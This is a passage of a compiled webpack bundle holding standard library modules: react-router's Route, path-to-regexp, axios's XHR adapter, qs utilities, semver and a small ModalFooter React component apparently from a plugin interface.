return __WEBPACK_IMPORTED_MODULE_2_react___default.a.Children.count(children) === 0;
};
/**
* The public API for matching a single path and rendering.
*/
var Route = function (_React$Component) {
_inherits(Route, _React$Component);
function Route() {
var _temp, _this, _ret;
_classCallCheck(this, Route);
for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
args[_key] = arguments[_key];
}
return _ret = (_temp = (_this = _possibleConstructorReturn(this, _React$Component.call.apply(_React$Component, [this].concat(args))), _this), _this.state = {
match: _this.computeMatch(_this.props, _this.context.router)
}, _temp), _possibleConstructorReturn(_this, _ret);
}
Route.prototype.getChildContext = function getChildContext() {
return {
router: _extends({}, this.context.router, {
route: {
location: this.props.location || this.context.router.route.location,
match: this.state.match
}
})
};
};
Route.prototype.computeMatch = function computeMatch(_ref, router) {
var computedMatch = _ref.computedMatch,
location = _ref.location,
path = _ref.path,
strict = _ref.strict,
exact = _ref.exact,
sensitive = _ref.sensitive;
if (computedMatch) return computedMatch; // <Switch> already computed the match for us
__WEBPACK_IMPORTED_MODULE_1_invariant___default()(router, "You should not use <Route> or withRouter() outside a <Router>");
var route = router.route;
var pathname = (location || route.location).pathname;
return Object(__WEBPACK_IMPORTED_MODULE_4__matchPath__["a" /* default */])(pathname, { path: path, strict: strict, exact: exact, sensitive: sensitive }, route.match);
};
Route.prototype.componentWillMount = function componentWillMount() {
__WEBPACK_IMPORTED_MODULE_0_warning___default()(!(this.props.component && this.props.render), "You should not use <Route component> and <Route render> in the same route; <Route render> will be ignored");
__WEBPACK_IMPORTED_MODULE_0_warning___default()(!(this.props.component && this.props.children && !isEmptyChildren(this.props.children)), "You should not use <Route component> and <Route children> in the same route; <Route children> will be ignored");
__WEBPACK_IMPORTED_MODULE_0_warning___default()(!(this.props.render && this.props.children && !isEmptyChildren(this.props.children)), "You should not use <Route render> and <Route children> in the same route; <Route children> will be ignored");
};
Route.prototype.componentWillReceiveProps = function componentWillReceiveProps(nextProps, nextContext) {
__WEBPACK_IMPORTED_MODULE_0_warning___default()(!(nextProps.location && !this.props.location), '<Route> elements should not change from uncontrolled to controlled (or vice versa). You initially used no "location" prop and then provided one on a subsequent render.');
__WEBPACK_IMPORTED_MODULE_0_warning___default()(!(!nextProps.location && this.props.location), '<Route> elements should not change from controlled to uncontrolled (or vice versa). You provided a "location" prop initially but omitted it on a subsequent render.');
this.setState({
match: this.computeMatch(nextProps, nextContext.router)
});
};
Route.prototype.render = function render() {
var match = this.state.match;
var _props = this.props,
children = _props.children,
component = _props.component,
render = _props.render;
var _context$router = this.context.router,
history = _context$router.history,
route = _context$router.route,
staticContext = _context$router.staticContext;
var location = this.props.location || route.location;
var props = { match: match, location: location, history: history, staticContext: staticContext };
if (component) return match ? __WEBPACK_IMPORTED_MODULE_2_react___default.a.createElement(component, props) : null;
if (render) return match ? render(props) : null;
if (typeof children === "function") return children(props);
if (children && !isEmptyChildren(children)) return __WEBPACK_IMPORTED_MODULE_2_react___default.a.Children.only(children);
return null;
};
return Route;
}(__WEBPACK_IMPORTED_MODULE_2_react___default.a.Component);
Route.propTypes = {
computedMatch: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.object, // private, from <Switch>
path: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.string,
exact: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.bool,
strict: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.bool,
sensitive: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.bool,
component: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.func,
render: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.func,
children: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.oneOfType([__WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.func, __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.node]),
location: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.object
};
Route.contextTypes = {
router: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.shape({
history: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.object.isRequired,
route: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.object.isRequired,
staticContext: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.object
})
};
Route.childContextTypes = {
router: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.object.isRequired
};
/* harmony default export */ __webpack_exports__["a"] = (Route);
/***/ }),
/* 78 */
/***/ (function(module, exports, __webpack_require__) {
var isarray = __webpack_require__(149)
/**
* Expose `pathToRegexp`.
*/
module.exports = pathToRegexp
module.exports.parse = parse
module.exports.compile = compile
module.exports.tokensToFunction = tokensToFunction
module.exports.tokensToRegExp = tokensToRegExp
/**
* The main path matching regexp utility.
*
* @type {RegExp}
*/
var PATH_REGEXP = new RegExp([
// Match escaped characters that would otherwise appear in future matches.
// This allows the user to escape special characters that won't transform.
'(\\\\.)',
// Match Express-style parameters and un-named parameters with a prefix
// and optional suffixes. Matches appear as:
//
// "/:test(\\d+)?" => ["/", "test", "\d+", undefined, "?", undefined]
// "/route(\\d+)" => [undefined, undefined, undefined, "\d+", undefined, undefined]
// "/*" => ["/", undefined, undefined, undefined, undefined, "*"]
'([\\/.])?(?:(?:\\:(\\w+)(?:\\(((?:\\\\.|[^\\\\()])+)\\))?|\\(((?:\\\\.|[^\\\\()])+)\\))([+*?])?|(\\*))'
].join('|'), 'g')
/**
* Parse a string for the raw tokens.
*
* @param {string} str
* @param {Object=} options
* @return {!Array}
*/
function parse (str, options) {
var tokens = []
var key = 0
var index = 0
var path = ''
var defaultDelimiter = options && options.delimiter || '/'
var res
while ((res = PATH_REGEXP.exec(str)) != null) {
var m = res[0]
var escaped = res[1]
var offset = res.index
path += str.slice(index, offset)
index = offset + m.length
// Ignore already escaped sequences.
if (escaped) {
path += escaped[1]
continue
}
var next = str[index]
var prefix = res[2]
var name = res[3]
var capture = res[4]
var group = res[5]
var modifier = res[6]
var asterisk = res[7]
// Push the current path onto the tokens.
if (path) {
tokens.push(path)
path = ''
}
var partial = prefix != null && next != null && next !== prefix
var repeat = modifier === '+' || modifier === '*'
var optional = modifier === '?' || modifier === '*'
var delimiter = res[2] || defaultDelimiter
var pattern = capture || group
tokens.push({
name: name || key++,
prefix: prefix || '',
delimiter: delimiter,
optional: optional,
repeat: repeat,
partial: partial,
asterisk: !!asterisk,
pattern: pattern ? escapeGroup(pattern) : (asterisk ? '.*' : '[^' + escapeString(delimiter) + ']+?')
})
}
// Match any characters still remaining.
if (index < str.length) {
path += str.substr(index)
}
// If the path exists, push it onto the end.
if (path) {
tokens.push(path)
}
return tokens
}
/**
* Compile a string to a template function for the path.
*
* @param {string} str
* @param {Object=} options
* @return {!function(Object=, Object=)}
*/
function compile (str, options) {
return tokensToFunction(parse(str, options))
}
/**
* Prettier encoding of URI path segments.
*
* @param {string}
* @return {string}
*/
function encodeURIComponentPretty (str) {
return encodeURI(str).replace(/[\/?#]/g, function (c) {
return '%' + c.charCodeAt(0).toString(16).toUpperCase()
})
}
/**
* Encode the asterisk parameter. Similar to `pretty`, but allows slashes.
*
* @param {string}
* @return {string}
*/
function encodeAsterisk (str) {
return encodeURI(str).replace(/[?#]/g, function (c) {
return '%' + c.charCodeAt(0).toString(16).toUpperCase()
})
}
/**
* Expose a method for transforming tokens into the path function.
*/
function tokensToFunction (tokens) {
// Compile all the tokens into regexps.
var matches = new Array(tokens.length)
// Compile all the patterns before compilation.
for (var i = 0; i < tokens.length; i++) {
if (typeof tokens[i] === 'object') {
matches[i] = new RegExp('^(?:' + tokens[i].pattern + ')$')
}
}
return function (obj, opts) {
var path = ''
var data = obj || {}
var options = opts || {}
var encode = options.pretty ? encodeURIComponentPretty : encodeURIComponent
for (var i = 0; i < tokens.length; i++) {
var token = tokens[i]
if (typeof token === 'string') {
path += token
continue
}
var value = data[token.name]
var segment
if (value == null) {
if (token.optional) {
// Prepend partial segment prefixes.
if (token.partial) {
path += token.prefix
}
continue
} else {
throw new TypeError('Expected "' + token.name + '" to be defined')
}
}
if (isarray(value)) {
if (!token.repeat) {
throw new TypeError('Expected "' + token.name + '" to not repeat, but received `' + JSON.stringify(value) + '`')
}
if (value.length === 0) {
if (token.optional) {
continue
} else {
throw new TypeError('Expected "' + token.name + '" to not be empty')
}
}
for (var j = 0; j < value.length; j++) {
segment = encode(value[j])
if (!matches[i].test(segment)) {
throw new TypeError('Expected all "' + token.name + '" to match "' + token.pattern + '", but received `' + JSON.stringify(segment) + '`')
}
path += (j === 0 ? token.prefix : token.delimiter) + segment
}
continue
}
segment = token.asterisk ? encodeAsterisk(value) : encode(value)
if (!matches[i].test(segment)) {
throw new TypeError('Expected "' + token.name + '" to match "' + token.pattern + '", but received "' + segment + '"')
}
path += token.prefix + segment
}
return path
}
}
/**
* Escape a regular expression string.
*
* @param {string} str
* @return {string}
*/
function escapeString (str) {
return str.replace(/([.+*?=^!:${}()[\]|\/\\])/g, '\\$1')
}
/**
* Escape the capturing group by escaping special characters and meaning.
*
* @param {string} group
* @return {string}
*/
function escapeGroup (group) {
return group.replace(/([=!:$\/()])/g, '\\$1')
}
/**
* Attach the keys as a property of the regexp.
*
* @param {!RegExp} re
* @param {Array} keys
* @return {!RegExp}
*/
function attachKeys (re, keys) {
re.keys = keys
return re
}
/**
* Get the flags for a regexp from the options.
*
* @param {Object} options
* @return {string}
*/
function flags (options) {
return options.sensitive ? '' : 'i'
}
/**
* Pull out keys from a regexp.
*
* @param {!RegExp} path
* @param {!Array} keys
* @return {!RegExp}
*/
function regexpToRegexp (path, keys) {
// Use a negative lookahead to match only capturing groups.
var groups = path.source.match(/\((?!\?)/g)
if (groups) {
for (var i = 0; i < groups.length; i++) {
keys.push({
name: i,
prefix: null,
delimiter: null,
optional: false,
repeat: false,
partial: false,
asterisk: false,
pattern: null
})
}
}
return attachKeys(path, keys)
}
/**
* Transform an array into a regexp.
*
* @param {!Array} path
* @param {Array} keys
* @param {!Object} options
* @return {!RegExp}
*/
function arrayToRegexp (path, keys, options) {
var parts = []
for (var i = 0; i < path.length; i++) {
parts.push(pathToRegexp(path[i], keys, options).source)
}
var regexp = new RegExp('(?:' + parts.join('|') + ')', flags(options))
return attachKeys(regexp, keys)
}
/**
* Create a path regexp from string input.
*
* @param {string} path
* @param {!Array} keys
* @param {!Object} options
* @return {!RegExp}
*/
function stringToRegexp (path, keys, options) {
return tokensToRegExp(parse(path, options), keys, options)
}
/**
* Expose a function for taking tokens and returning a RegExp.
*
* @param {!Array} tokens
* @param {(Array|Object)=} keys
* @param {Object=} options
* @return {!RegExp}
*/
function tokensToRegExp (tokens, keys, options) {
if (!isarray(keys)) {
options = /** @type {!Object} */ (keys || options)
keys = []
}
options = options || {}
var strict = options.strict
var end = options.end !== false
var route = ''
// Iterate over the tokens and create our regexp string.
for (var i = 0; i < tokens.length; i++) {
var token = tokens[i]
if (typeof token === 'string') {
route += escapeString(token)
} else {
var prefix = escapeString(token.prefix)
var capture = '(?:' + token.pattern + ')'
keys.push(token)
if (token.repeat) {
capture += '(?:' + prefix + capture + ')*'
}
if (token.optional) {
if (!token.partial) {
capture = '(?:' + prefix + '(' + capture + '))?'
} else {
capture = prefix + '(' + capture + ')?'
}
} else {
capture = prefix + '(' + capture + ')'
}
route += capture
}
}
var delimiter = escapeString(options.delimiter || '/')
var endsWithDelimiter = route.slice(-delimiter.length) === delimiter
// In non-strict mode we allow a slash at the end of match. If the path to
// match already ends with a slash, we remove it for consistency. The slash
// is valid at the end of a path match, not in the middle. This is important
// in non-ending mode, where "/test/" shouldn't match "/test//route".
if (!strict) {
route = (endsWithDelimiter ? route.slice(0, -delimiter.length) : route) + '(?:' + delimiter + '(?=$))?'
}
if (end) {
route += '$'
} else {
// In non-ending mode, we need the capturing groups to match as much as
// possible by using a positive lookahead to the end or next path segment.
route += strict && endsWithDelimiter ? '' : '(?=' + delimiter + '|$)'
}
return attachKeys(new RegExp('^' + route, flags(options)), keys)
}
/**
* Normalize the given path string, returning a regular expression.
*
* An empty array can be passed in for the keys, which will hold the
* placeholder key descriptions. For example, using `/user/:id`, `keys` will
* contain `[{ name: 'id', delimiter: '/', optional: false, repeat: false }]`.
*
* @param {(string|RegExp|Array)} path
* @param {(Array|Object)=} keys
* @param {Object=} options
* @return {!RegExp}
*/
function pathToRegexp (path, keys, options) {
if (!isarray(keys)) {
options = /** @type {!Object} */ (keys || options)
keys = []
}
options = options || {}
if (path instanceof RegExp) {
return regexpToRegexp(path, /** @type {!Array} */ (keys))
}
if (isarray(path)) {
return arrayToRegexp(/** @type {!Array} */ (path), /** @type {!Array} */ (keys), options)
}
return stringToRegexp(/** @type {string} */ (path), /** @type {!Array} */ (keys), options)
}
/***/ }),
/* 79 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_path_to_regexp__ = __webpack_require__(78);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_path_to_regexp___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_path_to_regexp__);
var patternCache = {};
var cacheLimit = 10000;
var cacheCount = 0;
var compileGenerator = function compileGenerator(pattern) {
var cacheKey = pattern;
var cache = patternCache[cacheKey] || (patternCache[cacheKey] = {});
if (cache[pattern]) return cache[pattern];
var compiledGenerator = __WEBPACK_IMPORTED_MODULE_0_path_to_regexp___default.a.compile(pattern);
if (cacheCount < cacheLimit) {
cache[pattern] = compiledGenerator;
cacheCount++;
}
return compiledGenerator;
};
/**
* Public API for generating a URL pathname from a pattern and parameters.
*/
var generatePath = function generatePath() {
var pattern = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : "/";
var params = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
if (pattern === "/") {
return pattern;
}
var generator = compileGenerator(pattern);
return generator(params, { pretty: true });
};
/* harmony default export */ __webpack_exports__["a"] = (generatePath);
/***/ }),
/* 80 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
module.exports = function bind(fn, thisArg) {
return function wrap() {
var args = new Array(arguments.length);
for (var i = 0; i < args.length; i++) {
args[i] = arguments[i];
}
return fn.apply(thisArg, args);
};
};
/***/ }),
/* 81 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/* WEBPACK VAR INJECTION */(function(process) {
var utils = __webpack_require__(14);
var settle = __webpack_require__(166);
var buildURL = __webpack_require__(168);
var parseHeaders = __webpack_require__(169);
var isURLSameOrigin = __webpack_require__(170);
var createError = __webpack_require__(82);
var btoa = (typeof window !== 'undefined' && window.btoa && window.btoa.bind(window)) || __webpack_require__(171);
module.exports = function xhrAdapter(config) {
return new Promise(function dispatchXhrRequest(resolve, reject) {
var requestData = config.data;
var requestHeaders = config.headers;
if (utils.isFormData(requestData)) {
delete requestHeaders['Content-Type']; // Let the browser set it
}
var request = new XMLHttpRequest();
var loadEvent = 'onreadystatechange';
var xDomain = false;
// For IE 8/9 CORS support
// Only supports POST and GET calls and doesn't returns the response headers.
// DON'T do this for testing b/c XMLHttpRequest is mocked, not XDomainRequest.
if (process.env.NODE_ENV !== 'test' &&
typeof window !== 'undefined' &&
window.XDomainRequest && !('withCredentials' in request) &&
!isURLSameOrigin(config.url)) {
request = new window.XDomainRequest();
loadEvent = 'onload';
xDomain = true;
request.onprogress = function handleProgress() {};
request.ontimeout = function handleTimeout() {};
}
// HTTP basic authentication
if (config.auth) {
var username = config.auth.username || '';
var password = config.auth.password || '';
requestHeaders.Authorization = 'Basic ' + btoa(username + ':' + password);
}
request.open(config.method.toUpperCase(), buildURL(config.url, config.params, config.paramsSerializer), true);
// Set the request timeout in MS
request.timeout = config.timeout;
// Listen for ready state
request[loadEvent] = function handleLoad() {
if (!request || (request.readyState !== 4 && !xDomain)) {
return;
}
// The request errored out and we didn't get a response, this will be
// handled by onerror instead
// With one exception: request that using file: protocol, most browsers
// will return status as 0 even though it's a successful request
if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) {
return;
}
// Prepare the response
var responseHeaders = 'getAllResponseHeaders' in request ? parseHeaders(request.getAllResponseHeaders()) : null;
var responseData = !config.responseType || config.responseType === 'text' ? request.responseText : request.response;
var response = {
data: responseData,
// IE sends 1223 instead of 204 (https://github.com/axios/axios/issues/201)
status: request.status === 1223 ? 204 : request.status,
statusText: request.status === 1223 ? 'No Content' : request.statusText,
headers: responseHeaders,
config: config,
request: request
};
settle(resolve, reject, response);
// Clean up request
request = null;
};
// Handle low level network errors
request.onerror = function handleError() {
// Real errors are hidden from us by the browser
// onerror should only fire if it's a network error
reject(createError('Network Error', config, null, request));
// Clean up request
request = null;
};
// Handle timeout
request.ontimeout = function handleTimeout() {
reject(createError('timeout of ' + config.timeout + 'ms exceeded', config, 'ECONNABORTED',
request));
// Clean up request
request = null;
};
// Add xsrf header
// This is only done if running in a standard browser environment.
// Specifically not if we're in a web worker, or react-native.
if (utils.isStandardBrowserEnv()) {
var cookies = __webpack_require__(172);
// Add xsrf header
var xsrfValue = (config.withCredentials || isURLSameOrigin(config.url)) && config.xsrfCookieName ?
cookies.read(config.xsrfCookieName) :
undefined;
if (xsrfValue) {
requestHeaders[config.xsrfHeaderName] = xsrfValue;
}
}
// Add headers to the request
if ('setRequestHeader' in request) {
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
if (typeof requestData === 'undefined' && key.toLowerCase() === 'content-type') {
// Remove Content-Type if data is undefined
delete requestHeaders[key];
} else {
// Otherwise add header to the request
request.setRequestHeader(key, val);
}
});
}
// Add withCredentials to request if needed
if (config.withCredentials) {
request.withCredentials = true;
}
// Add responseType to request if needed
if (config.responseType) {
try {
request.responseType = config.responseType;
} catch (e) {
// Expected DOMException thrown by browsers not compatible XMLHttpRequest Level 2.
// But, this can be suppressed for 'json' type as it can be parsed by default 'transformResponse' function.
if (config.responseType !== 'json') {
throw e;
}
}
}
// Handle progress if needed
if (typeof config.onDownloadProgress === 'function') {
request.addEventListener('progress', config.onDownloadProgress);
}
// Not all browsers support upload events
if (typeof config.onUploadProgress === 'function' && request.upload) {
request.upload.addEventListener('progress', config.onUploadProgress);
}
if (config.cancelToken) {
// Handle cancellation
config.cancelToken.promise.then(function onCanceled(cancel) {
if (!request) {
return;
}
request.abort();
reject(cancel);
// Clean up request
request = null;
});
}
if (requestData === undefined) {
requestData = null;
}
// Send the request
request.send(requestData);
});
};
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))
/***/ }),
/* 82 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var enhanceError = __webpack_require__(167);
/**
* Create an Error with the specified message, config, error code, request and response.
*
* @param {string} message The error message.
* @param {Object} config The config.
* @param {string} [code] The error code (for example, 'ECONNABORTED').
* @param {Object} [request] The request.
* @param {Object} [response] The response.
* @returns {Error} The created error.
*/
module.exports = function createError(message, config, code, request, response) {
var error = new Error(message);
return enhanceError(error, config, code, request, response);
};
/***/ }),
/* 83 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
module.exports = function isCancel(value) {
return !!(value && value.__CANCEL__);
};
/***/ }),
/* 84 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/**
* A `Cancel` is an object that is thrown when an operation is canceled.
*
* @class
* @param {string=} message The message.
*/
function Cancel(message) {
this.message = message;
}
Cancel.prototype.toString = function toString() {
return 'Cancel' + (this.message ? ': ' + this.message : '');
};
Cancel.prototype.__CANCEL__ = true;
module.exports = Cancel;
/***/ }),
/* 85 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var has = Object.prototype.hasOwnProperty;
var hexTable = (function () {
var array = [];
for (var i = 0; i < 256; ++i) {
array.push('%' + ((i < 16 ? '0' : '') + i.toString(16)).toUpperCase());
}
return array;
}());
var compactQueue = function compactQueue(queue) {
var obj;
while (queue.length) {
var item = queue.pop();
obj = item.obj[item.prop];
if (Array.isArray(obj)) {
var compacted = [];
for (var j = 0; j < obj.length; ++j) {
if (typeof obj[j] !== 'undefined') {
compacted.push(obj[j]);
}
}
item.obj[item.prop] = compacted;
}
}
return obj;
};
var arrayToObject = function arrayToObject(source, options) {
var obj = options && options.plainObjects ? Object.create(null) : {};
for (var i = 0; i < source.length; ++i) {
if (typeof source[i] !== 'undefined') {
obj[i] = source[i];
}
}
return obj;
};
var merge = function merge(target, source, options) {
if (!source) {
return target;
}
if (typeof source !== 'object') {
if (Array.isArray(target)) {
target.push(source);
} else if (typeof target === 'object') {
if (options.plainObjects || options.allowPrototypes || !has.call(Object.prototype, source)) {
target[source] = true;
}
} else {
return [target, source];
}
return target;
}
if (typeof target !== 'object') {
return [target].concat(source);
}
var mergeTarget = target;
if (Array.isArray(target) && !Array.isArray(source)) {
mergeTarget = arrayToObject(target, options);
}
if (Array.isArray(target) && Array.isArray(source)) {
source.forEach(function (item, i) {
if (has.call(target, i)) {
if (target[i] && typeof target[i] === 'object') {
target[i] = merge(target[i], item, options);
} else {
target.push(item);
}
} else {
target[i] = item;
}
});
return target;
}
return Object.keys(source).reduce(function (acc, key) {
var value = source[key];
if (has.call(acc, key)) {
acc[key] = merge(acc[key], value, options);
} else {
acc[key] = value;
}
return acc;
}, mergeTarget);
};
var assign = function assignSingleSource(target, source) {
return Object.keys(source).reduce(function (acc, key) {
acc[key] = source[key];
return acc;
}, target);
};
var decode = function (str) {
try {
return decodeURIComponent(str.replace(/\+/g, ' '));
} catch (e) {
return str;
}
};
var encode = function encode(str) {
// This code was originally written by Brian White (mscdex) for the io.js core querystring library.
// It has been adapted here for stricter adherence to RFC 3986
if (str.length === 0) {
return str;
}
var string = typeof str === 'string' ? str : String(str);
var out = '';
for (var i = 0; i < string.length; ++i) {
var c = string.charCodeAt(i);
if (
c === 0x2D // -
|| c === 0x2E // .
|| c === 0x5F // _
|| c === 0x7E // ~
|| (c >= 0x30 && c <= 0x39) // 0-9
|| (c >= 0x41 && c <= 0x5A) // a-z
|| (c >= 0x61 && c <= 0x7A) // A-Z
) {
out += string.charAt(i);
continue;
}
if (c < 0x80) {
out = out + hexTable[c];
continue;
}
if (c < 0x800) {
out = out + (hexTable[0xC0 | (c >> 6)] + hexTable[0x80 | (c & 0x3F)]);
continue;
}
if (c < 0xD800 || c >= 0xE000) {
out = out + (hexTable[0xE0 | (c >> 12)] + hexTable[0x80 | ((c >> 6) & 0x3F)] + hexTable[0x80 | (c & 0x3F)]);
continue;
}
i += 1;
c = 0x10000 + (((c & 0x3FF) << 10) | (string.charCodeAt(i) & 0x3FF));
out += hexTable[0xF0 | (c >> 18)]
+ hexTable[0x80 | ((c >> 12) & 0x3F)]
+ hexTable[0x80 | ((c >> 6) & 0x3F)]
+ hexTable[0x80 | (c & 0x3F)];
}
return out;
};
var compact = function compact(value) {
var queue = [{ obj: { o: value }, prop: 'o' }];
var refs = [];
for (var i = 0; i < queue.length; ++i) {
var item = queue[i];
var obj = item.obj[item.prop];
var keys = Object.keys(obj);
for (var j = 0; j < keys.length; ++j) {
var key = keys[j];
var val = obj[key];
if (typeof val === 'object' && val !== null && refs.indexOf(val) === -1) {
queue.push({ obj: obj, prop: key });
refs.push(val);
}
}
}
return compactQueue(queue);
};
var isRegExp = function isRegExp(obj) {
return Object.prototype.toString.call(obj) === '[object RegExp]';
};
var isBuffer = function isBuffer(obj) {
if (obj === null || typeof obj === 'undefined') {
return false;
}
return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj));
};
module.exports = {
arrayToObject: arrayToObject,
assign: assign,
compact: compact,
decode: decode,
encode: encode,
isBuffer: isBuffer,
isRegExp: isRegExp,
merge: merge
};
/***/ }),
/* 86 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var replace = String.prototype.replace;
var percentTwenties = /%20/g;
module.exports = {
'default': 'RFC3986',
formatters: {
RFC1738: function (value) {
return replace.call(value, percentTwenties, '+');
},
RFC3986: function (value) {
return value;
}
},
RFC1738: 'RFC1738',
RFC3986: 'RFC3986'
};
/***/ }),
/* 87 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var ModalFooter = function (_Component) {
_inherits(ModalFooter, _Component);
function ModalFooter(props) {
_classCallCheck(this, ModalFooter);
return _possibleConstructorReturn(this, (ModalFooter.__proto__ || Object.getPrototypeOf(ModalFooter)).call(this, props));
}
_createClass(ModalFooter, [{
key: 'render',
value: function render() {
var children = _react2.default.Children.map(this.props.children, function (footerChildren) {
return footerChildren;
});
var alignment = !_.isUndefined(this.props.alignment) && '' !== this.props.alignment ? this.props.alignment : '';
var flatten = !_.isUndefined(this.props.flatten) && true === this.props.flatten ? true : false;
// eslint-disable-next-line max-len
var hasClass = !_.isUndefined(this.props.customClass) && '' !== this.props.customClass ? true : false;
var elClass = 'sui-box-footer';
if (true === flatten) {
elClass += ' sui-flatten';
}
if ('' !== alignment) {
elClass += ' sui-content-' + alignment;
}
if (true === hasClass) {
elClass += ' ' + this.props.customClass;
}
return _react2.default.createElement(
'div',
{ className: elClass },
children
);
}
}]);
return ModalFooter;
}(_react.Component);
exports.default = ModalFooter;
/***/ }),
/* 88 */,
/* 89 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.renderBlock = renderBlock;
var _reactDom = __webpack_require__(23);
var _client = __webpack_require__(90);
var _semver = __webpack_require__(91);
var _semver2 = _interopRequireDefault(_semver);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
/**
* render Block
**/
function renderBlock(containerId, element) {
var container = document.getElementById(containerId);
// If container is hidden in PHP.
if (_.isNull(container)) {
return;
}
if (_semver2.default.gte(_reactDom.version, '18.0.0')) {
// React 18 or higher.
var root = (0, _client.createRoot)(container);
root.render(element);
} else {
(0, _reactDom.render)(element, container);
}
}
/***/ }),
/* 90 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/* WEBPACK VAR INJECTION */(function(process) {
var m = __webpack_require__(23);
if (process.env.NODE_ENV === 'production') {
exports.createRoot = m.createRoot;
exports.hydrateRoot = m.hydrateRoot;
} else {
var i = m.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED;
exports.createRoot = function(c, o) {
i.usingClientEntryPoint = true;
try {
return m.createRoot(c, o);
} finally {
i.usingClientEntryPoint = false;
}
};
exports.hydrateRoot = function(c, h, o) {
i.usingClientEntryPoint = true;
try {
return m.hydrateRoot(c, h, o);
} finally {
i.usingClientEntryPoint = false;
}
};
}
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))
/***/ }),
/* 91 */
/***/ (function(module, exports, __webpack_require__) {
/* WEBPACK VAR INJECTION */(function(process) {exports = module.exports = SemVer;
// The debug function is excluded entirely from the minified version.
/* nomin */ var debug;
/* nomin */ if (typeof process === 'object' &&
/* nomin */ process.env &&
/* nomin */ process.env.NODE_DEBUG &&
/* nomin */ /\bsemver\b/i.test(process.env.NODE_DEBUG))
/* nomin */ debug = function() {
/* nomin */ var args = Array.prototype.slice.call(arguments, 0);
/* nomin */ args.unshift('SEMVER');
/* nomin */ console.log.apply(console, args);
/* nomin */ };
/* nomin */ else
/* nomin */ debug = function() {};
// Note: this is the semver.org version of the spec that it implements
// Not necessarily the package version of this code.
exports.SEMVER_SPEC_VERSION = '2.0.0';
var MAX_LENGTH = 256;
var MAX_SAFE_INTEGER = Number.MAX_SAFE_INTEGER || 9007199254740991;
// Max safe segment length for coercion.
var MAX_SAFE_COMPONENT_LENGTH = 16;
// The actual regexps go on exports.re
var re = exports.re = [];
var src = exports.src = [];
var R = 0;
// The following Regular Expressions can be used for tokenizing,
// validating, and parsing SemVer version strings.
// ## Numeric Identifier
// A single `0`, or a non-zero digit followed by zero or more digits.
var NUMERICIDENTIFIER = R++;
src[NUMERICIDENTIFIER] = '0|[1-9]\\d*';
var NUMERICIDENTIFIERLOOSE = R++;
src[NUMERICIDENTIFIERLOOSE] = '[0-9]+';
// ## Non-numeric Identifier
// Zero or more digits, followed by a letter or hyphen, and then zero or
// more letters, digits, or hyphens.
var NONNUMERICIDENTIFIER = R++;
src[NONNUMERICIDENTIFIER] = '\\d*[a-zA-Z-][a-zA-Z0-9-]*';
// ## Main Version
// Three dot-separated numeric identifiers.
var MAINVERSION = R++;
src[MAINVERSION] = '(' + src[NUMERICIDENTIFIER] + ')\\.' +
'(' + src[NUMERICIDENTIFIER] + ')\\.' +
'(' + src[NUMERICIDENTIFIER] + ')';
var MAINVERSIONLOOSE = R++;
